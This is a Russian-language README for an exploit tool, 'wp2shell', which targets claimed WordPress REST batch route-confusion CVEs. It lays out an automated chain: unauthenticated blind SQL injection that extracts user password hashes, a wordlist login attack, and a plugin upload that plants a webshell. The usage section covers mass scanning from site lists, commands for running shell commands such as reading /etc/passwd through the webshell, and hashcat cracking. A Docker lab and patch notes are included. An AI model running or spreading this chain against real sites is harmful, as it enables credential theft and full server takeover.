wp2shell

Blind SQL-инъекция в WordPress REST batch через route confusion — автоматизированная цепочка эксплуатации.

CVE-2026-63030 / CVE-2026-60137

Только для авторизованного тестирования безопасности.

Как это работает

Конечная точка batch REST API WordPress (/wp-json/batch/v1) допускает вложенные batch-запросы. Двойной вложенный рассинхронизированный payload смещает внутренние массивы $matches / $validation, направляя подделанное значение author_exclude в SQL author__not_in без санитизации. Это даёт неаутентифицированную blind SQL-инъекцию (boolean-based и time-based).

Цепочка эксплуатации — 4 фазы:

Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Требования

• Python 3.8+
• aiohttp
• colorama

pip install aiohttp colorama

Использование

Одиночная цель

python wp2shell.py http://target.com

Список сайтов (один URL на строку)

python wp2shell.py sites.txt

Список сайтов + свой файл паролей

python wp2shell.py sites.txt -p pass.txt

Известные учётные данные (пропустить словарь)

python wp2shell.py http://target.com --user admin --password admin123

Подтверждение SQLi по таймингу

python wp2shell.py http://target.com --confirm-sqli

Без ЧПУ

python wp2shell.py http://target.com --rest-route

Через прокси Burp

python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Параметры

Выходные файлы

Все файлы дополняются — результаты накапливаются между запусками.

Использование веб-шелла — добавьте ?cmd=COMMAND к URL из webshell.txt:

# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Офлайн-подбор паролей

Если словарь не сработал, creds.txt содержит извлечённый хэш:

hashcat -m 400 creds.txt wordlist.txt

Затем запустите снова с подобранным паролем:

python wp2shell.py http://target.com --user admin --password <plaintext>

Локальный стенд (Docker)

Поднимает уязвимый экземпляр WordPress 7.0.1 для безопасного локального тестирования.

Первый запуск — создание томов и установка WordPress:

docker compose up -d db wordpress
docker compose run --rm wpcli

Последующие запуски:

docker compose up -d db wordpress

Остановка:

docker compose down

Полный сброс (удаляет все данные):

docker compose down -v

Запуск эксплойта против стенда:

python wp2shell.py http://localhost:8080

Исправление уязвимости

Обновитесь до WordPress 6.9.5 или 7.0.2. Исправление проверяет batch-маршрут перед отправкой вложенных запросов, предотвращая рассинхронизацию, которая открывает SQL-приёмник (sink).

Правовая информация

Для использования на системах, которыми вы владеете, или на тестирование которых получено явное письменное разрешение. Несанкционированное использование незаконно.